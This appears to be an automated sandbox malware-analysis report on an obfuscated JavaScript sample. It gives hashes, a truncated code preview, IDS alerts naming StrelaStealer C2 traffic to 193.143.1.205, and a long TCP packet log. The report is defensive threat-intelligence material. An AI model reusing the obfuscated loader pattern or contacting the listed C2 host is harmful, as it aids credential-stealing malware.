Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15395), with CRLF line terminators
Entropy (8bit):	4.924458025790201
TrID:
File name:	25134116771465314533.js
File size:	18'873 bytes
MD5:	83d901e1d50e2e34555e46159de20007
SHA1:	5ab2d1c5780ba1958f619b88dafd70e168927e95
SHA256:	e0fe7195f68b093681712cc6324fe0ac19901c3740e7f734dec5c8cb78c1502a
SHA512:	170f01bcafa2c6861fc28e0ffd033045d60ee34563d3604fa35ea014c0a00e52554822bdf07f14d9255aa707dcb661a7181375399bc4847c17212c58da193fbf
SSDEEP:	384:rH97rL0ETsB1zS9/wYnVI+RgGwZweVpjhRE52:zQOVojhRE52
TLSH:	9882B8C51E5B06E2AAF865B1D2827DA513DC091EC1A862DEF402F4076B08FE0D7F62F5
File Content Preview:	function khlqcskiu(){tsixyiph=[1031,3079,5127,4103,2055,3072];var vehlxbfa=this[puglhds+bsygor+nrwad+jqiwbseol+tkppnwb+kjcqt+wibqcw+fffnpbqqm](this[itvxpsab+yjdztcb+qaethsxa+nrwad+cezew+puglhds+fffnpbqqm][wizeewa+nrwad+tkppnwb+bsygor+fffnpbqqm+tkppnwb+ybk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:37:44.945958+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:37:44.945958+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T06:37:47.624030+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:37:44.136209011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.141650915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.141736984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.144735098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.149842978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945869923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945904970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945919991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945956945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945957899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.945971966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945997000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.945998907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.946012974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.946027040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.946033001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.946043015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.946057081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.946063995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.946094036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.950994968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.951018095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.951081038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:44.988828897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.988852978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:44.989026070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.074346066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.074368000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.074471951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.074511051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.074521065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.074569941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.074573994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.074585915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.074620008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.075051069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075067043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075086117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075103998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075113058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.075120926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075160027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.075804949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075820923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075835943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075850964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075853109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.075865984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.075870991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.075927973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.076706886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.076723099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.076738119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.076751947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.076759100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.076769114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.076786995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.077584982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.077600002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.077630043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.124989033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.125201941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.164166927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.164190054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.164354086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.164904118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.164917946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.164962053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.203126907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203176022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203233957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203268051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203289986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.203303099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203344107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.203438997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203471899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203479052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.203505039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203536987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203542948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.203557968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203572989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203589916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.203596115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.203630924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.204180002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204195976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204211950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204229116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.204235077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204250097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204263926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204279900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.204282045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.204301119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.205027103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205044031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205060005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205066919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.205094099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.205154896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205171108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205185890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205200911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.205204964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.205233097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.205986023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206005096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206029892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206036091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.206046104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206060886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206075907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206079006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.206091881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206114054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.206948042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206964970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206980944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.206985950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.207003117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.207017899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.207019091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.207034111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.207050085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.207063913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.207087040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.207734108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.207751036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.207789898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.212877989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.212897062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.212929010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.255603075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.255784035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.255842924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.292589903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.292628050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.292644978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.292661905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.292676926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.292702913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.292737961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.293725967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.293741941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.293788910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332145929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332168102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332194090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332209110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332226038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332242966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332324028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332395077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332423925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332439899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332446098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332482100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332509041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332525015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332541943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332562923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332715988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332731962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332755089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332756042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332770109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332784891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332798958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332827091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332902908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332918882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332942009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332957029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332962990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.332973003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332988024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.332990885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333004951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333028078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333594084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333611012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333625078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333641052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333666086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333688021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333703041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333718061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333733082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333735943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333770990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333794117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333808899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333823919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333837986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333848000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.333853960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.333874941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.334542036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334558010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334573984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334592104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.334614992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.334619999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334634066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334649086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334665060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334675074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.334695101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.334728003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334743023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334758043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334772110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334785938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.334789038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.334810972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.335629940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335647106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335661888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335675955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.335675955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335690975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335695982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.335705996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335721970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.335726023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.335760117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.336323023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.346044064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.346064091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.346081018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.346103907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.346132994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.383282900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.383368969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.383405924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.383429050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.383440018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.383477926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.383481026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.384274960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.384305000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.384313107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.422646046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422678947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422708988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422724962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422743082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422748089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.422751904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422770023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422770977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.422784090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422822952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.422832966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.422837973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422852039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422867060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.422871113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.422949076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.423005104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423019886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423038960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423064947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.423424959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423440933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423455954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423470974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423486948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423501968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.423501968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.423511028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423525095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423531055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.423533916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423548937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.423566103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.423589945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.424076080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424091101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424105883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424120903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424135923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.424135923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424160957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.424164057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424179077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424192905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424204111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.424207926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424222946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424226046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.424237967 CET	80	49704	193.143.1.205	192.168.2.5
